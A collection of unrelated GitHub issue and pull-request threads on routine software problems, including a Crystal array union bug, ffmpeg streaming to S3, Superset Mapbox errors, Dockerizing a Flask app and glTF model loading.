This'll be fixed in the next version of Pylance so long as you have an insiders build of the Python extension (or their stable release next week).

This'll be fixed in the next version of Pylance so long as you have an insiders build of the Python extension (or their stable release next week).

This issue has been fixed in version 2021.1.1, which we've just released. You can find the changelog here: https://github.com/microsoft/pylance-release/blob/main/CHANGELOG.md#202111-13-january-2021

This issue has been fixed in version 2021.1.1, which we've just released. You can find the changelog here: https://github.com/microsoft/pylance-release/blob/main/CHANGELOG.md#202111-13-january-2021

Revising this (was in my inbox sitting, sorry) @Timmmm if you're still having trouble with the ${workspaceFolder}, that'd be worth a new issue as well. According to https://code.visualstudio.com/docs/python/environments#_variable-substitution, it should have worked, which would imply some bug in the way that Pylance is getting the environment variable from the Python extension.

Are you sure it should have worked? I can't see anything on that page that says anything other than ${env:...} would work. I just assumed it would because that would be sensible.

They do only talk about ${env:...}, but I assumed that was just an example and the rest would work (seems incongruent otherwise). Maybe @karthiknadig remembers the extent of the syntax supported.


Remove use of GeoIO in 9_.jl and add manifest file in.

New version of GeoIO is causing errors loading shapefile, however previous issues with GDF not loading shapefile have been resolved.

Assuming the change has been tested and confirmed to run all the way through in a fresh session.


You must use Bundler 2 or greater with this lockfile

Just encountered this issue when trying to build a ruby package with a Gemfile.lock containing
BUNDLED WITH
   2.0.1

Is there anything I can do to use bundler 2 with packager?

Bundler2 is supported in https://github.com/crohr/pkgr/commit/6c7985df85468022480ffec225ae06c5d2cac8f3. It is now available on packager.io, let me know if it works for you.

Yep I just ran a build with it and it worked, thanks!


rather than asking people to create a new...

rather than asking people to create a new folder and drag a file into it, why not just put the file there for them?
Change-Id: I099489ff753f19e1e902944e03179df746e059e0
Signed-off-by: nickboldt<EMAIL_ADDRESS>

Related PR: https://github.com/IBM/zopeneditor-about/pull/119

Thanks @nickboldt. When you clone this repo into Eclipse Che it will be created into a workspace sub-directory such as ./zopeneditor-sample. You could open this sub-directory as a new workspace, but then we observed strange behaviors in Che such as when you click the arrow at the top-left to open the side-menu, new browsers tabs get opened with the base-workspace again. Hence, for now we recommend creating a directory in parallel to the cloned one and drag the settings up ad described here: https://github.com/IBM/zopeneditor-about/blob/master/che/README.md


Minor fixes

for the sake of proper understanding.

The {:target="_blank"} is a Jekyll specific tag to enable opening the link in another tab.


ADDING IMPORTANT PATTERN PROBLEMS

EXPLANATION:
OUR TASK IS TO PRINT THE PATTERNS THE FOLLOWING PATTERNS BY IMPLEMENTING LOOPS ::

FLOYD'S TRIANGLE
HOLLOW BUTTERFLY
SOLID BUTTERFLY
HOLLOW RECTANGLE
HOLLOW PARALLELOGRAM
SOLID PARALLELOGRAM
HOLLOW DIAMOND
SOLID DIAMOND
PASCAL TRIANGLE
PALINDROME PATTERN

Hey @HarshCasper  , I want to add these pattern problems in C++ language in NeoAlgo/C-Plus-Plus .

Hey admins, I have created this issue. I want to work on this issue under GSSOC'21.
I have read all the contributing guidelines.

Hey admins, I have created this issue. I want to work on this issue under GSSOC'21.
I have read all the contributing guidelines. Please assign it to me.

@vishakha-aggarwal Are you going to print all the pattern at once or you are creating a some menu driven program. I didn't get exactly. Can you please bit more elaborate how you're going to implement?

I was thinking to create a folder in which there will be all the programs.

I can also create a menu driven if you would prefer that.

I was thinking to create a folder in which there will be all the programs.

Means your are writing different programs for each case? Is it so?

I have decided to create a menu driven calling different functions. Is it convenient to you to do so?

@vishakha-aggarwal Hi, I assigned you. Happy Coding!😊

Thanks for assigning 😊


ERA polar winds are bad

The base ERA5 data files have a polar row in the wind data that is set to a constant for all longitudes for each component. This is clearly incorrect. A consistent value of the wind in a long-lat grid can be represented as a pair of sinusoidal functions in longitude, in quadrature for each component. The polar adjacent row shows almost exactly this behaviour as the variation in the true wind is not that great over the 25 km radius circle this row represents.
When interpolating the wind vector components to the model grid, this wind vector interpolation makes the pole very obvious as a point inconsistent with the rest of the wind field. The ERA5 pre-processing python script should be altered so that polar point is interpolated correctly to give a smooth wind field.

@brodeau apparently simply ignores this polar row in his scripts. This is a sensible and simple approach.


Android 8.0

It fails when I create the pdf on Android version 8.0
Let me know the reason.

Can you share the code and/or the error you get?

http://crashes.to/s/f2184f14abd
http://crashes.to/s/d60f5127104
http://crashes.to/s/d44d1c2c94b

I haven't been able to reproduce these on an 8.0 device, but I have some ideas on what could be happening. The OutOfMemoryError is probably the same issue as #131. Bitmap memory management is currently fairly inefficient. The No space left on device and FileNotFoundException I suspect are not caused by an issue in the library, but by the device not having enough space or a folder not existing. It could also be a permission problem, especially on API >= 23.


Array#| doesn't work with union types

Bug Report
Given this code:
a = [1]
b = ['a']
c = a | b

I expect c to get the value [1, 'a'].
Instead, I get a compilation error:
In foo.cr:28:7

 28 | c = a | b
            ^
Error: instantiating 'Array(Int32)#|(Array(Char))'

In /usr/local/Cellar/crystal/1.0.0_2/src/array.cr:300:18

 300 | Array(T | U).build(size + other.size) do |buffer|
                    ^----
Error: instantiating 'Array(Char | Int32).class#build(Int32)'

In /usr/local/Cellar/crystal/1.0.0_2/src/array.cr:300:18

 300 | Array(T | U).build(size + other.size) do |buffer|
                    ^----
Error: instantiating 'Array(Char | Int32).class#build(Int32)'

In /usr/local/Cellar/crystal/1.0.0_2/src/array.cr:310:13

 310 | other.each do |obj|
             ^---
Error: instantiating 'Array(Char)#each()'

In /usr/local/Cellar/crystal/1.0.0_2/src/indexable.cr:187:5

 187 | each_index do |i|
       ^---------
Error: instantiating 'each_index()'

In /usr/local/Cellar/crystal/1.0.0_2/src/indexable.cr:187:5

 187 | each_index do |i|
       ^---------
Error: instantiating 'each_index()'

In /usr/local/Cellar/crystal/1.0.0_2/src/array.cr:310:13

 310 | other.each do |obj|
             ^---
Error: instantiating 'Array(Char)#each()'

In /usr/local/Cellar/crystal/1.0.0_2/src/array.cr:313:15

 313 | hash[obj] = true
           ^
Error: no overload matches 'Hash(Int32, Bool)#[]=' with types Char, Bool

Overloads are:
 - Hash(K, V)#[]=(key : K, value : V)

It seems this fixes it:
diff --git a/src/array.cr b/src/array.cr
index 2e06885d2..2217ed57c 100644
--- a/src/array.cr
+++ b/src/array.cr
@@ -300,7 +300,7 @@ class Array(T)
     end

     Array(T | U).build(size + other.size) do |buffer|
-      hash = Hash(T, Bool).new
+      hash = Hash(T | U, Bool).new
       i = 0
       each do |obj|
         unless hash.has_key?(obj)

but a spec must also be added for this.
Feel free to send a PR 🙏

Should be fixed by #10510.

Oh, nice! I missed that PR.

What's the status on #10510? I have recently found this bug myself. The PR seems finished.


Hyprland freezes if Hyprlock is started via Hyprland key binding

I use Arch btw. (If it has something to do with that)
If I start Hyprlock with a Terminal it resumes normally but if I use a Hyprland shortcut Hyprland freezes and I have to open and close a Window (Terminal) for Hyprland to resume normally.

never seen that. Try adding a sleep 1 && before the hyprlock command?

Doesn't change anything. The problem is Hyprland does not recognize any open windows after resuming from Hyprlock

uhhh... are you perhaps running without a config?
I feel like you are and the lock just runs without a config aka. doesn't render anything. Type your password and hit enter

i have this script:
#!/bin/bash
playerctl -a pause
pkill -9 -f hyprlock
hyprlock --immediate --verbose >> ~/logs/hyprlock.log 2>&1

and i run it with a keybind: bind = $mainMod, L, exec, ~/scripts/lock_and_mute.sh
and it works fine, on arch btw
try using a script


Log String to Sign for SAS, User Delegation SAS, and Shared Key Auth

API change check
APIView has identified API level changes in this PR and created following API reviews.
Azure.Storage.Blobs


[W.I.P.] IMPLEMENTED P2D_CROSSOVER

In src/population.c implement p2d_crossover which is currently a placeholder.

The p2d_crossover function will perform crossover operations on the selected survivors in the population.

Validation: Ensure the population and survivors are properly initialized.
Memory Allocation: Allocate memory for the new cortices.
Crossover Operation: For each new cortex, select two random parents from the survivors and perform crossover using a hypothetical c2d_crossover function.
Cleanup: Replace the old population with the new cortices, cleaning up the old memory.

This pull request includes a significant update to the p2d_crossover function in the population.c file to ensure proper initialization and error handling during the crossover process.
Improvements to error handling and initialization:

src/population.c: Added checks to ensure the population and survivors are properly initialized before performing crossover operations.
src/population.c: Implemented memory allocation for new cortices and included error handling for allocation failures.
src/population.c: Added logic to select two random parents from the survivors and create a new cortex by combining the two parents.
src/population.c: Included cleanup procedures to handle errors during the crossover process, ensuring no memory leaks.
src/population.c: Replaced the old population with the newly created one, ensuring the old population is properly destroyed and memory is freed.


Fix #1010 'RSA Signature did not match content' with valid RSA key

Fix #1010 by extracting modulus and exponent as unsigned int

Thanks for the PR @gwallet. I applied some minor polish and merged to master.


SARAALERT-1470 import controller

Description
Jira Ticket: SARAALERT-1470
Incorporates Rubocop/Rails and Rubocop/Performance updates into ImportController.
Related #1028
Important Changes
Please list important files (meaning substantial or integral to the PR) along with a list of the general changes that should be highlighted for reviewers.
import_controller

Use Rails.root.join instead of creating a path string
use value.presence instead of import_email_field, etc.
use key? instead of keys.include for performance
use casecmp instead of downcase then compare

Testing Recommendations
Use the following rubocop.txt to test similar to last time.
Checklists
Submitter:

[x] This PR describes why these changes were made.
[x] This PR is into the correct branch.
[x] This PR includes the correct JIRA ticket reference.
[x] Comment added to the relevant JIRA ticket(s) with a link to this PR
[x] Code diff has been reviewed (it does not contain: additional white space, not applicable code changes, debug statements, etc.)
[x] If UI changes have been made, Chrome Dev Tools Lighthouse accessibility test has been executed to ensure no 508 issues were introduced.
[x] Tests are included and test edge cases
[x] Tests have been run locally and pass (remember to update Gemfile when applicable)
[x] Test fixtures updated and documented as necessary

@timwongj  :

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code
[ ] If applicable, you have tested changes against a large database, and considered possible performance regressions
[ ] Tested all recommendations listed in the "Testing Recommendations" section. The application behaves as expected with this PR.

@tstrass  :

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code
[ ] If applicable, you have tested changes against a large database, and considered possible performance regressions
[ ] Tested all recommendations listed in the "Testing Recommendations" section. The application behaves as expected with this PR.

@ngfreiter  :

[ ] Code is maintainable and reusable, reuses existing code and infrastructure where appropriate, and accomplishes the task’s purpose
[ ] The tests appropriately test the new code, including edge cases
[ ] You have tried to break the code
[ ] If applicable, you have tested changes against a large database, and considered possible performance regressions
[ ] Tested all recommendations listed in the "Testing Recommendations" section. The application behaves as expected with this PR.

@tstrass and @timwongj, requesting your review because I had to make some minor changes for consistency in https://github.com/SaraAlert/SaraAlert/pull/1138/commits/6772a5f1c657f3cb4bfa615f45f3772f39b6fcd2.


pop.mech dot notation bug with cluster

the error:
Warning: name of object to modify not found in populations or connections.
> In dsApplyModifications>modify_specification (line 324)
  In dsApplyModifications (line 116)
  In dsWriteDynaSimSolver (line 144)
  In dsGetSolveFile (line 167)
  In dsCreateBatch (line 100)
  In dsSimulate (line 572)

dsWriteDynaSimSolver (line 144):
[~, first_mod_set] = dsApplyModifications([], mod_set{iMod}, varargin{:});
since the first arg is empty, it doesnt end up replacing the dot notation.
unlike line 567 of dsSimulate:
model = dsApplyModifications(model,modifications_set{i}, varargin{:});
where dot notation is replaced since model is provided as 1st arg.

solution:

pass model in on line 144 to remove warning and allow population name matching.
move dot notation checking to standardize_modifications from modify_specification and have it modify modifcations, changing POP.MECH to MECH.PARAM notation.

see https://github.com/DynaSim/DynaSim/commit/1c3521d55989d1ece35bd82d69c692b7e8c105bb


Create Section for Past Events

This would be a topbar to hide Ethereum Costa Rica Day in 2024

Hi Andy. I am Timileyin a UI/UX designer and I would very much love to take this up.


Need help converting a video file to MP3 and uploading to AWS S3

Hi,
I'm trying to write a Node.js code that stream downloads a video file from a URL and then stream converts it to an MP3 file, and then stream uploads the MP3 file to an AWS S3 bucket. I'm using the axios library to download the file and the aws-sdk library to upload the file to S3.
For the conversion part, I'm trying to use the node-fluent-ffmpeg library, but I'm running into some issues. Here's the code I have so far:
Version information

fluent-ffmpeg version: 2.1.2
ffmpeg version: 6.1.1
OS: MacOS 13.6.1

Code to reproduce
s3StreamClient.ts
import {
  AbortMultipartUploadCommandOutput,
  CompleteMultipartUploadCommandOutput,
  S3Client,
} from '@aws-sdk/client-s3';
import { Upload } from '@aws-sdk/lib-storage';
import Axios, { AxiosResponse } from 'axios';
import { PassThrough } from 'stream';

// eslint-disable-next-line @typescript-eslint/no-var-requires
const ffmpeg = require('fluent-ffmpeg');

export class S3StreamClient {
  private readonly PART_SIZE = 1024 * 1024 * 5; // 5 MB
  private readonly CONCURRENCY = 4;

  private readonly client: S3Client;

  constructor(props: { sdkClient: S3Client }) {
    this.client = props.sdkClient;
  }

  async uploadVideo(props: {
    input: {
      url: string;
    };
    output: {
      bucketName: string;
      key: string;
    };
  }): Promise<string> {
    try {
      const inputStream = await this.getInputStream({
        url: props.input.url,
      });
      const outputFileRelativePath = props.output.key;
      await this.getOutputStream({
        inputStream,
        output: {
          ...props.output,
          key: outputFileRelativePath,
        },
      });
      return `s3://${props.output.bucketName}/${outputFileRelativePath}`;
    } catch (error) {
      console.error(
        { error },
        'Error occurred while uploading/downloading file.',
      );
      throw error;
    }
  }

  private async getInputStream(props: { url: string }): Promise<AxiosResponse> {
    const response = await Axios({
      method: 'get',
      url: props.url,
      responseType: 'stream',
    });

    return response;
  }

  private async getOutputStream(props: {
    inputStream: AxiosResponse;
    output: {
      bucketName: string;
      key: string;
    };
  }): Promise<
    CompleteMultipartUploadCommandOutput | AbortMultipartUploadCommandOutput
  > {
    const output = props.output;
    const passThrough = new PassThrough();
    const upload = new Upload({
      client: this.client,
      params: { Bucket: output.bucketName, Key: output.key, Body: passThrough },
      queueSize: this.CONCURRENCY,
      partSize: this.PART_SIZE,
      leavePartsOnError: false,
    });

    ffmpeg(props.inputStream).toFormat('mp3').pipe(passThrough, { end: true });

    return await upload.done();
  }
}

main.ts
const key = `directory1/key-1.mp3`;
const bucket = 'mybucket';
const URL = 'https://large-size-video.mp4'
await this.s3StreamClient.uploadVideo({
      input: { url },
      output: { bucketName: bucket, key },
});

(note: if the problem only happens with some inputs, include a link to such an input file)
Error
Error: ffmpeg exited with code 234: Error opening output file pipe:1.
Error opening output files: Invalid argument

Checklist

[x] I have read the FAQ
[x] I tried the same with command line ffmpeg and it works correctly (hint: if the problem also happens this way, this is an ffmpeg problem and you're not reporting it to the right place)
[x] I have included full stderr/stdout output from ffmpeg

I finally found out the solution! And what I miss is I have to add input and output format
.inputFormat('mp4')
.outputFormat('mp3')

example
private async getOutputStream(props: {
    inputStream: AxiosResponse;
    output: {
      bucketName: string;
      key: string;
    };
  }): Promise<
    CompleteMultipartUploadCommandOutput | AbortMultipartUploadCommandOutput
  > {
    const output = props.output;
    const passThrough = new PassThrough();
    const upload = new Upload({
      client: this.client,
      params: { Bucket: output.bucketName, Key: output.key, Body: passThrough },
      queueSize: this.CONCURRENCY,
      partSize: this.PART_SIZE,
      leavePartsOnError: false,
    });

    // Convert recall vdo to mp3
    ffmpeg(props.inputStream.data)
      .inputFormat('mp4')
      .outputFormat('mp3')
      .on('start', () => {
        console.log('Processing....');
      })
      .on('error', (err) => {
        console.log('An error occurred: ' + err.message);
      })
      .on('end', () => {
        console.log('Processing finished !');
      })
      .pipe(passThrough, { end: true });
    return await upload.done();
  }


Update runtime to python 3.8.7

python-3.8.7

Checked on Heroku-18, works fine

Checked on Heroku-18, works fine


SAK-32637 AutoFavourites: Issue after using the auto-favourite featur…

…e for the first time

Please don't merge this yet, it's still under discussion with SAK-32583

Please mark this as "work in progress".

There were 2 commits/reads for the same users Preference, could this be reduced to a single?

Hi @ern, I've tested the PR and works fine for me, I've migrated an 11.x instance and the admin doesn't have 1000 sites as favorites.
I think @josecebe saved the preferences twice because there is a return sentence if the newFavorites list is empty, in this case, the preferences will not be updated.
https://github.com/sakaiproject/sakai/pull/4535/files#diff-e61e31c57df240fc045355e93899e1ddR181
@josecebe Would you mind to rebase this PR?
Would be good if someone else could take a look at the PR.


Code view events

It doesn't seem like there is a way to access updates while in the code view mode. Updates are lost if a user saves their progress while in the code view mode. It would be great if updates triggered an event.
I posted this issue in the suneditor-react github and was directed to open it here.
https://github.com/mkhstar/suneditor-react/issues/181
Thank you

@ScottWager The data entered in "Code view" is not data that has been verified.
When returning to "WYSIWYG" mode, tags are inspected, tags or properties that are not allowed are removed, and they are modified to be editable in the editor.
Final data is only allowed in "WYSIWYG" mode.
"Code view" mode is just another way to write data, and you need to change it back to "WYSIWYG" mode to reflect the data.

Thank you for the quick response!
I went with listening to the 'toggleCodeView' event and blocking user saving based on code view mode.


minor changes for near-term delivery (Sep)

Just a few minor changes. Please review. Thanks!

I'll watch for someone else to press the merge button before rerunning with the changes.


How to get the address of entry point?

What version of Delve are you using (dlv version)?

Delve Debugger
Version: 1.1.0
Build: $Id: 1990ba12450cab9425a2ae62e6ab988725023d5c $

What version of Go are you using? (go version)?

go version go1.10.3 darwin/amd64

What operating system and processor architecture are you using?

Mojave 10.14.1

I want to get the information of program's entry point, like info files in gdb:
(gdb) info files
Local exec file:
 Entry point: 0x44dd00
(gdb) b *0x44dd00

PS. why are you interested?

I want to debug the go source, but I can only break points on the main function wrote myself.
So I want to know the initial entry point.

When you start the target program with delve you are already stopped at the entry point.


[main] Update actions

Cron -knative-prow-robot
/cc knative-sandbox/client-writers
/assign $knative-sandbox/client-writers
Produced by: knative-sandbox/knobots/actions/update-actions
Details:

Hey @evankanderson how would I get this automation set for a sandbox repo that was created before this? Essentially how to grandfather a repo into this robot's list? Not urgent, when you have a second. Thanks Evan!

Add the repo to the config in https://github.com/knative-sandbox/knobots


Question on MONDO_0011996

In the OMIM record, the two terms LEUKEMIA, CHRONIC MYELOID OMIM 608232 and LEUKEMIA, CHRONIC MYELOID, ATYPICAL .
On the MONDO class MONDO:0011996 chronic myelogenous leukemia, there is the related synonym Leukemia, Chronic Myeloid, Atypical (which xrefs OMIM:608232). Should this xref be removed?

What's the basis for this?
On 5 Dec 2017, at 14:56, jpgourdine wrote:

In the OMIM record, the two terms LEUKEMIA, CHRONIC MYELOID OMIM
608232 and LEUKEMIA, CHRONIC MYELOID, ATYPICAL .
On the MONDO class MONDO:0011996 chronic myelogenous leukemia, there
is the related synonym Leukemia, Chronic Myeloid, Atypical (which
xrefs OMIM:608232). Should this xref be removed?

--
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub:
https://github.com/monarch-initiative/mondo-build/issues/37

Looks like OMIM is combining the two terms on one record (atypical CML and CML), hence there is the related synonym on the MONDO class Chronic granulocytic leukemia.
I think we should remove the related synonym:

If this is correct, I can walk JP through how to do this.


Suggestion : docker.from.url

As the docker images are build (the most often) from an ancestor, a maven module will contain the property <docker.from> to specify to which parent it belong, refer.
When we review a project, it could be very difficult to retrieve the github repo or docker image registry location of the parent.
This is why I propose to add a new property docker.from.url where could specify the URL to access the location of the image + description + ...

Example
docker.from : fabric8/jenkins
docker.from.url : https://registry.hub.docker.com/u/fabric8/jenkins/
docker.from.tag : latest

The tag can already specified as part of the from Image name, so I don't think an extra property is needed for this (if no tag is given :latest is assumed).
/wr to the URL, I wonder whether a comment in the Maven POM wouldn't be enough. Since docker.from.url will not be mandatory it can be omitted like comment can be. Or asked the other way: What technical benefits would this property have ?

Benefit = to document a project in order to quickly retrieve (if someone clicks on the link) info about the container image

@cmoulliard I'm still don't buy the benefit of adding two new configuration parameters for this documentation feature. Maybe we can find something which already exists (our configuration space is already very bloated).
What about adding this information as labels to the image if required ?


maesh-prepare-hook as non-root

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Should be blocked by #254
So that we can have the controller run as non-root as well.

Hello @bavarianbidi,
Thanks for your patience with this. We would love you to update this PR now that we have completed rewriting the hooks.
Thanks!

PR could be closed, because prepare is now an initContainer in the controller-deployment and there the securityContext-values are set correctly


In cvAddText, construct QString from "text" using fromUtf8.

Passing a Unicode UTF-8 string into cv::addText (or cvAddText) results in extraneous characters being drawn (often â or Â) and other being dropped (if their Unicode is greater than 255). This is a symptom of ignoring the multi-byte UTF-8 escape encoding.
Fortunately the Qt library is fully Unicode compliant so can render all glyphs defined by the standard if provided by the fonts in use. (Which is a lot, tens of thousands, see: http://unicode-table.com/en/) All that is needed to fix this bug was to call Qt's QString::fromUtf8 function to indicate the array of 8-bit values should be interpreted as UTF-8 rather than as a vanilla C char string.
Note that this patch provides support for drawing Unicode with Qt, but does not help with the conceptually related problem of using Unicode in pathnames.
Example before this change:

Example after this change:

C++ program to draw example:
#include <opencv/highgui.h>
int main (int argc, char** argv)
{
    cv::namedWindow ("Test", 1);
    cv::moveWindow ("Test", 10, 50);
    cv::Mat image (cv::Size (1000, 200), CV_8UC3, cv::Scalar(0, 111, 222));
    CvFont fontB = cv::fontQt ("Times", 30, cv::Scalar (255, 255, 255), CV_FONT_BOLD);
    CvFont fontW = cv::fontQt ("Helvetica", 30, cv::Scalar (0, 0, 0), CV_FONT_NORMAL);
    cv::addText (image,
                 "Here is some vanilla 7-bit 'ascii' text.",
                 cv::Point (50, 60),
                 fontB);
    cv::addText (image,
                 "Here is some text with extended “Unicode” glyphs, like circle-R: ®, ",
                 cv::Point (50, 110),
                 fontW);
    cv::addText (image,
                 "superscript TM: ™ and the point-of-interest symbol (OSX cmd): ⌘",
                 cv::Point (50, 145),
                 fontW);
    cv::imshow ("Test", image);
    cv::waitKey(0);
    return 0;
}

perfect description, thanks, :+1:

port was already done, label can be detached


Ranking the structures, for instance for virtual screening / docking

Once again thank you for your hard work.
My team and I (14 people) would like to use your curated pdb files for a virtual screening of small molecules in the 3CLpro. Then comes the choice of which structure to use among all those you curated.
In my opinion, it would be very useful if you could give a ranking of the structures for a given protein.
I hope that makes any sense to you and once again thank you for your hard work

Many thanks for taking the time to answering me, and thanks for the wise warning. Indeed, I am as interested in the measures / statistics you consider are important, as in the final ranking that will for sure depend on the use-case.
--- original message ---
On April 6, 2020, 10:45 PM GMT+2<EMAIL_ADDRESS>wrote:
Hi Max,
we are working on that as also on some more documentation. We will do in the upcoming days some ranking according to different statistics, but please beware that your actual needs may vary depending on the kind of modeling you are trying to do.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.
--- end of original message ---

Hi Max, I am not sure why my answer from two days ago does not show up here. Did you get it?
It was:
"Dear Maximilien,
we will give some guidance about that next week on the homepage insidecorona.net (when it is actually online)! Keep in touch!
Best wishes
Andrea."

I would also like to remark that ranking doesn't cut it. It's more complicated than that...

Hi Andrea, Your answer did not show up. Anyway sincerely thanks.
I love the complexity of things, and knowing your measures and criteria is as important if not more than the final ranking. Thanks for your hard work! I did not meant to disturb. 🙇
Best wishes
Max

You are very welcome! It's for labs like yours that we do this. If you would like to chat towards the end of the week, when the homepage is online, you can find my email in the readme!

Structures sorted by quality are now available in the utils section. Will keep the issue open for now until presentation is more clear.
Users can query the stats.db file to sort differently (e.g. mx by resolution)

Great! 🚀 Thanks!
Could you please consider generating a xlsx or equivalent version of stats.db? 🙏

Will generate csv of the stats.db and close the issue afterwards.


Updated name to CONTRIBUTORS.md

Hello maintainer @AnshumanFauzdar ,
I am new to open source, so please merge my pull request.
Please add ‘hacktoberfest’ & ‘hacktoberfest-accepted’ label to my PR
Reference: https://hacktoberfest.digitalocean.com/hacktoberfest-update

Hey,
Welcome to open source @Ocoderdude I am happy to merge your PR but you have not followed all the steps given in readme hence please read again and make suitable changes.
Thanks and Regards,
Anshuman Fauzdar

Now it looks like this:

Please verify it @AnshumanFauzdar :)

Hey @Ocoderdude I hope this is not rude but you are not in core team and main idea was to add a div and contribute something you feel looks cool or anything like that :)

Oh @AnshumanFauzdar , Sorry I misunderstood :(

I will make the changes in the website ASAP

No problem chief :) @Ocoderdude


Mapbox data visualization doesn't work

Mapbox data visualization type doesn't show anything while it seems everything is okay!
Expected results
Mapbox map!
Actual results
Nothing
Screenshots

How to reproduce the bug

Go to SQL Lab and write a query include latitude and longitude.
Click on the 'explore' button
choose  the 'mapbox'  as Visualization Type (also set latitude and longitude in query section)
Click on the 'run query' button
See nothing! (i mean the error)

Environment
latest official docker image
Checklist
Make sure these boxes are checked before submitting your issue - thank you!

[ ] I have checked the superset logs for python stacktraces and included it here as text if there are any.
[ ] I have reproduced the issue with at least the latest released version of superset.
[ ] I have checked the issue tracker for the same issue and I haven't found one similar.

Additional context
Add any other context about the problem

Have you added your Mapbox API Key?

Of course yes!

You should save this .then into it.I guess it's a bug

it doesn't work

Confirmed, I noticed it's broken too

Hi everyone,
Is it still broken in master or had been fixed?

Hi everyone,
I have setup API_Key on config file, but still not able to use mapbox in superset.
sometimes getting error "An error occurred while rendering the visualization: TypeError: Cannot read property 'map' of undefined"
and sometimes "An error occurred while rendering the visualization: TypeError: e.filter is not a function"
I am very confused why getting two different errors?
Any help is much appreciated.
Thanks

In the docker-compose.yml file, environment block, you should add the Mapbox environment variable MAPBOX_API_KEY: {your_mapbox_api_token}. Once I included this I was able to see the maps when using a deck.gl visualization. I tested loading the deck.gl examples provided when the flag SUPERSET_LOAD_EXAMPLES is enabled.
If you check the config.py file, the token is obtained from the environment.
Another option could be to add the variable in the Dockerfile. However, this option will require you to specify the variable at build time, which means if you decide to use a different token you will have to rebuild the image.

Hi, when i try to use mapbox with latitud and longitud from a datasource for example CSV file or a database like postgres, i can fine the map when i create the chat. However, when i try to to get data with latitud and longitud from SQL lab, i get this error when i use the mapbox chart:
Traceback (most recent call last):
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/views/base.py", line 120, in wraps
return f(self, *args, **kwargs)
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/utils/decorators.py", line 69, in wrapper
return f(*args, **kwargs)
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/views/core.py", line 1092, in explore_json
viz_obj, csv=csv, query=query, results=results, samples=samples
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/views/core.py", line 1013, in generate_json
payload = viz_obj.get_payload()
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/viz.py", line 381, in get_payload
payload["data"] = self.get_data(df)
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/viz.py", line 2059, in get_data
point_radius_col,
File "/home/edgarubuntustudio/venv/lib/python3.6/site-packages/superset/viz.py", line 2055, in
for lon, lat, metric, point_radius in zip(
TypeError: type str doesn't define round method
Y try to cast the latitud and longitud in the SQl in SQL Lab of this ways, but i get the same error:
1.
to_number(lat, '###,######') lat,
to_number(lng, '###,######') lng,
2.
cast(lat as decimal(28,6) ) lat,
cast(lng as decimal(28,6) ) lng,

5 lat,
5 lng
Does anyone know how I can correct this?
Regards,


Dockerize the application

Write Dockerfile and add necessary files to run the application in an Dockercontainer

Current status:
The dockerfile is valid and should theoratically run.
Further Things to do:

Elaborate a nice standard way to set up an nginx instance in a docker container
Copy files necessary for the latter into a directory like docker_setup and track it in git
Add documentation in a way that someone who never used docker is able to run this configuration and create a running instance of sipa.

I think the nginx frontend is not in the scope of this project because in production the frontend proxy will be responsible for more than this project. Simply add a example server section to the README.
The added with<PHONE_NUMBER>23455790718e3674d562f2c1f1d102 is not ready for production. Some basic issues are::

It is derived from phusion/baseimage - I think we should use official images.
I think python:2.7 is the better choice as we install system wide pathon packages via pip packages and the image ensure to not conflict with debians own python packages by removing them.
The logging location is not marked as VOLUME (and there should be no local logging at all, see #1 )
The image should be configureable from outside the container (ENV or config via volume) to prevent pushing of images with builtin credentials.
The uwsgi process should be pid1 to prevent overhead
The uwsgi call should be configureable (processes/threads/...)
Static files should be defivered directly by uwsgi
There is no need to be root insinde the container - you can directly specify USER sipa in the Dockerfile

I agree with @janLo . Running nginx is totally unnecessary. For development the Flask internal web server is sufficient and for production deployment an application server like uwsgi or similar is the appropriate choice. I fully agree with the configurability bits, too.
Using something else than uwsgi as PID 1 is certainly not a big overhead, but if uwsgi correctly reaps children it should be used of course. I assume @peetCreative chose phusion/baseimage because of this well-known blog post:
https://blog.phusion.nl/2015/01/20/docker-and-the-pid-1-zombie-reaping-problem/

Even if uwsgi leaks some zombies, their pcb should be less overhead than the init this image uses. I also think we do not need syslog, an openssh-server, cron and logrotate, nano and vim in a single-service container.
In this case uwsgi already have excellent child-handling. Just use the --master option.

Don't get me wrong. I'm not saying we should use the phusion/baseimage as it is indeed too heavy.
But saying leaking zombies is not a problem is just plain wrong, every leak is a problem eventually.
If uwsgi is handling reaping than that's perfect, the documentation you referenced is not very elaborate.

See http://uwsgi-docs.readthedocs.org/en/latest/Management.html for more information

We have to think about a nice way to provide the configuration information, since the basic docker container shoud be built from the clean repository state, and therefore not contain the actual config.py.

It's very simple: The config should be used during runtime or startup of the container and not be needed during build time of the image.

What is the best option in a coreos deployment?

Because “Dockerize the application” is something I consider fixed in Sipa's current state, I will close this issue. Discussion will go on as always, but for more specific questions to come, there should be a new issue for each of them.


gltf Models Not Loading

There is an issue loading gltf model other than Sponza.
Its easy to reproduce, just try to load any other model - duck.gltf for example.
It looks like the problem is related to the following comment at line 501:main.cpp
// NOTE(marco): for now we expect all three textures to be defined. In the next chapter
// we'll relax this constraint thanks to bindless rendering!
This approach eventually causes skipping of  mesh_draws.push( mesh_draw );
for many gltf models.
I cannot load models in Chapter 2 either.
Would be great if you guys could fix this so people starting out could load other models.

Thanks - When starting to read any book that builds up code, its always easier to move up from a working base.  If I knew more I would try to to fix for you, but that is why I am reading the book :-)
At least the model that does load is Sponza :-)

I'm getting a lot of validation errors as well... Is Vulkan 1.3 supported by these examples or do we need to use 1.2?

All chapters seem to load by default the Sponza glft file, and the book doesn't mention what glft files should it be used to test the project with, and whatever glft file I try to pass as argument it will never load correctly (or at all).

